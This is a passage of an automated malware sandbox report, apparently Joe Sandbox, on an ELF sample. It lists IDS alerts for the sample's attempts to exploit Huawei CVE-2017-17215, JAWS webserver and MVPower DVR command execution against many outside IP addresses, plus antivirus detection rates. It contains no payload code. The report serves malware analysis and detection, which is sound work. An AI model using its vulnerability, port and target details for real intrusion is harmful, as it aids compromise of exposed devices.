Source Port:	58268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.103.71.244

Timestamp:	06/01/24-18:15:54.275592
SID:	2835222
Source Port:	58496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.247.151.83

Timestamp:	06/01/24-18:15:56.245947
SID:	2030092
Source Port:	52912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.8.69.255

Timestamp:	06/01/24-18:15:53.240726
SID:	2030092
Source Port:	50846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.158.164

Timestamp:	06/01/24-18:15:54.254417
SID:	2829579
Source Port:	33544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 124.60.75.137

Timestamp:	06/01/24-18:15:53.240394
SID:	2025883
Source Port:	49442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 110.176.150.43

Timestamp:	06/01/24-18:15:53.239412
SID:	2030092
Source Port:	54284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.84.73.50

Timestamp:	06/01/24-18:15:55.259969
SID:	2829579
Source Port:	33794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.190.153

Timestamp:	06/01/24-18:15:56.308506
SID:	2829579
Source Port:	52032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.222.230.206

Timestamp:	06/01/24-18:15:53.238700
SID:	2030092
Source Port:	47264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.213.71.177

Timestamp:	06/01/24-18:15:56.287004
SID:	2030092
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.88.210.161

Timestamp:	06/01/24-18:15:54.254489
SID:	2829579
Source Port:	60378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.158.221.167

Timestamp:	06/01/24-18:15:54.255235
SID:	2835222
Source Port:	40978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.158.95.158

Timestamp:	06/01/24-18:15:54.256393
SID:	2829579
Source Port:	36614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 32.79.28.244

Timestamp:	06/01/24-18:15:55.267489
SID:	2030092
Source Port:	42554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.116.0.109

Timestamp:	06/01/24-18:15:54.275795
SID:	2835222
Source Port:	47684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.38.43

Timestamp:	06/01/24-18:15:55.262801
SID:	2835222
Source Port:	43862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.167.5.201

Timestamp:	06/01/24-18:15:54.252202
SID:	2829579
Source Port:	41014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.47.79.133

Timestamp:	06/01/24-18:15:54.238961
SID:	2030092
Source Port:	37350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.114.121.8

Timestamp:	06/01/24-18:15:55.272559
SID:	2025883
Source Port:	55190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 49.30.76.125

Timestamp:	06/01/24-18:15:55.267046
SID:	2030092
Source Port:	55082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.56.241.40

Timestamp:	06/01/24-18:15:54.256722
SID:	2835222
Source Port:	52616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.243.182.171

Timestamp:	06/01/24-18:15:53.239285
SID:	2030092
Source Port:	46058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.13.177.93

Timestamp:	06/01/24-18:15:54.254976
SID:	2829579
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.59.60.107

Timestamp:	06/01/24-18:15:56.244879
SID:	2030092
Source Port:	44768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.219.48.227

Timestamp:	06/01/24-18:15:56.305877
SID:	2835222
Source Port:	34924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.223.205.90

Timestamp:	06/01/24-18:15:55.261159
SID:	2829579
Source Port:	57668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.104.168.239

Timestamp:	06/01/24-18:15:54.240296
SID:	2030092
Source Port:	44588
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.208.201.65

Timestamp:	06/01/24-18:15:56.306811
SID:	2835222
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.162.73

Timestamp:	06/01/24-18:15:55.263479
SID:	2829579
Source Port:	55144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.170.8

Timestamp:	06/01/24-18:15:54.252592
SID:	2835222
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.42.21.62

Timestamp:	06/01/24-18:15:54.255840
SID:	2829579
Source Port:	44038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.115.89

Timestamp:	06/01/24-18:15:54.256242
SID:	2835222
Source Port:	45778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.95.177.47

Timestamp:	06/01/24-18:15:54.274865
SID:	2835222
Source Port:	43694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.210.112

Timestamp:	06/01/24-18:15:54.252084
SID:	2829579
Source Port:	54532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.103.151.78

Timestamp:	06/01/24-18:15:55.272743
SID:	2025883
Source Port:	38762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.63.251.95

Timestamp:	06/01/24-18:15:56.247051
SID:	2030092
Source Port:	53500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.152.111.154

Timestamp:	06/01/24-18:15:54.240510
SID:	2030092
Source Port:	41746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.110.203.35

Timestamp:	06/01/24-18:15:54.254853
SID:	2835222
Source Port:	47606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.78.87.67

Timestamp:	06/01/24-18:15:53.241698
SID:	2030092
Source Port:	40300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.155.54

Timestamp:	06/01/24-18:15:56.306008
SID:	2835222
Source Port:	47108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.131.29.171

Timestamp:	06/01/24-18:15:53.241218
SID:	2030092
Source Port:	32800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 12.95.201.102

Timestamp:	06/01/24-18:15:53.240024
SID:	2030092
Source Port:	55394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 105.120.208.242

Timestamp:	06/01/24-18:15:53.240427
SID:	2030092
Source Port:	34260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.18.209.9

Timestamp:	06/01/24-18:15:56.307042
SID:	2835222
Source Port:	47800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.114.72.170

Timestamp:	06/01/24-18:15:56.308237
SID:	2835222
Source Port:	45302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.51.155

Timestamp:	06/01/24-18:15:54.256596
SID:	2829579
Source Port:	41396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.9.202.179

Timestamp:	06/01/24-18:15:54.275397
SID:	2829579
Source Port:	58696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.17.223

Timestamp:	06/01/24-18:15:55.262262
SID:	2835222
Source Port:	39182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.25.240.24

Timestamp:	06/01/24-18:15:56.245630
SID:	2030092
Source Port:	49634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.184.31.108

Timestamp:	06/01/24-18:15:53.237533
SID:	2030092
Source Port:	40304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.161.107.182

Timestamp:	06/01/24-18:15:55.262753
SID:	2835222
Source Port:	43784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.55.54.27

Timestamp:	06/01/24-18:15:54.273912
SID:	2835222
Source Port:	35310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.206.29

Timestamp:	06/01/24-18:15:56.305968
SID:	2829579
Source Port:	59194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.206.174

Timestamp:	06/01/24-18:15:54.273749
SID:	2835222
Source Port:	47490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.42.202.171

Timestamp:	06/01/24-18:15:54.238712
SID:	2025883
Source Port:	39940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.25.85

Timestamp:	06/01/24-18:15:55.259198
SID:	2835222
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.170.206.200

Timestamp:	06/01/24-18:15:54.238118
SID:	2025883
Source Port:	60810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.74.146.97

Timestamp:	06/01/24-18:15:55.268136
SID:	2030092
Source Port:	46120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.189.208.197

Timestamp:	06/01/24-18:15:56.246505
SID:	2030092
Source Port:	52478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.24.255.213

Timestamp:	06/01/24-18:15:53.241108
SID:	2025883
Source Port:	52008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.23.205

Timestamp:	06/01/24-18:15:54.275705
SID:	2835222
Source Port:	51478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.16.66

Timestamp:	06/01/24-18:15:54.274503
SID:	2829579
Source Port:	56590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.123.70.55

Timestamp:	06/01/24-18:15:55.265079
SID:	2030092
Source Port:	49604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.251.190.176

Timestamp:	06/01/24-18:15:54.273833
SID:	2829579
Source Port:	40358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.11.8.51

Timestamp:	06/01/24-18:15:55.263359
SID:	2835222
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 36.18.192.99

Timestamp:	06/01/24-18:15:56.254703
SID:	2025883
Source Port:	42576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.2.158.240

Timestamp:	06/01/24-18:15:54.256096
SID:	2829579
Source Port:	35190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.134.7.68

Timestamp:	06/01/24-18:15:54.240357
SID:	2030092
Source Port:	59202
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.214.28.20

Timestamp:	06/01/24-18:15:56.244800
SID:	2025883
Source Port:	47080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.29.82.209

Timestamp:	06/01/24-18:15:56.306118
SID:	2829579
Source Port:	36192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 117.183.217.79

Timestamp:	06/01/24-18:15:56.246905
SID:	2025883
Source Port:	35964
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.149.206.65

Timestamp:	06/01/24-18:15:54.255482
SID:	2835222
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.121.41.185

Timestamp:	06/01/24-18:15:55.261518
SID:	2835222
Source Port:	37822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.117.7.12

Timestamp:	06/01/24-18:15:53.247268
SID:	2030092
Source Port:	47738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.69.223.73

Timestamp:	06/01/24-18:15:53.247394
SID:	2030092
Source Port:	44764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.191.243.96

Timestamp:	06/01/24-18:15:54.275135
SID:	2829579
Source Port:	39124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.8.32.149

Timestamp:	06/01/24-18:15:54.253620
SID:	2835222
Source Port:	46024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 113.32.208.233

Timestamp:	06/01/24-18:15:53.240843
SID:	2030092
Source Port:	40970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.87.202

Timestamp:	06/01/24-18:15:54.252244
SID:	2835222
Source Port:	48832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.212.207.12

Timestamp:	06/01/24-18:15:54.253278
SID:	2829579
Source Port:	58966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.180.120

Timestamp:	06/01/24-18:15:55.262188
SID:	2835222
Source Port:	56490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.125.3

Timestamp:	06/01/24-18:15:55.259625
SID:	2835222
Source Port:	34526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.222.156

Timestamp:	06/01/24-18:15:54.274950
SID:	2829579
Source Port:	50200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.148.200.185

Timestamp:	06/01/24-18:15:55.263799
SID:	2835222
Source Port:	47668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.181.180

Timestamp:	06/01/24-18:15:56.307625
SID:	2829579
Source Port:	38878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.94.219.6

Timestamp:	06/01/24-18:15:54.252728
SID:	2835222
Source Port:	57592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.142.205.5

Timestamp:	06/01/24-18:15:56.306738
SID:	2835222
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.126.107.59

Timestamp:	06/01/24-18:15:54.275251
SID:	2835222
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.54.58

Timestamp:	06/01/24-18:15:56.287888
SID:	2835222
Source Port:	37586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.75.33.112

Timestamp:	06/01/24-18:15:54.255551
SID:	2835222
Source Port:	39538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 136.107.130.201

Timestamp:	06/01/24-18:15:53.240582
SID:	2025883
Source Port:	40758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.191.141

Timestamp:	06/01/24-18:15:55.260976
SID:	2835222
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.7.126.94

Timestamp:	06/01/24-18:15:56.246425
SID:	2030092
Source Port:	54018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.5.46.180

Timestamp:	06/01/24-18:15:54.254818
SID:	2829579
Source Port:	38566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.142.230

Timestamp:	06/01/24-18:15:54.275663
SID:	2829579
Source Port:	54092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.2.53.201

Timestamp:	06/01/24-18:15:56.307801
SID:	2829579
Source Port:	52408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.153.229

Timestamp:	06/01/24-18:15:55.261655
SID:	2829579
Source Port:	57692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: t9lNEiD3ui.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: t9lNEiD3ui.elf	ReversingLabs: Detection: 65%
Source: t9lNEiD3ui.elf	Virustotal: Detection: 61%			Perma Link

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35232 -> 146.154.17.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40304 -> 176.184.31.108:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42174 -> 118.56.224.81:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57450 -> 138.193.26.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45786 -> 134.10.23.167:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48530 -> 91.176.40.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53384 -> 115.206.192.214:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37624 -> 42.244.32.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50616 -> 198.208.129.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51866 -> 98.108.66.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53862 -> 149.115.99.191:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37480 -> 92.126.90.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44742 -> 81.132.76.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60788 -> 193.77.243.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60742 -> 35.40.58.241:80
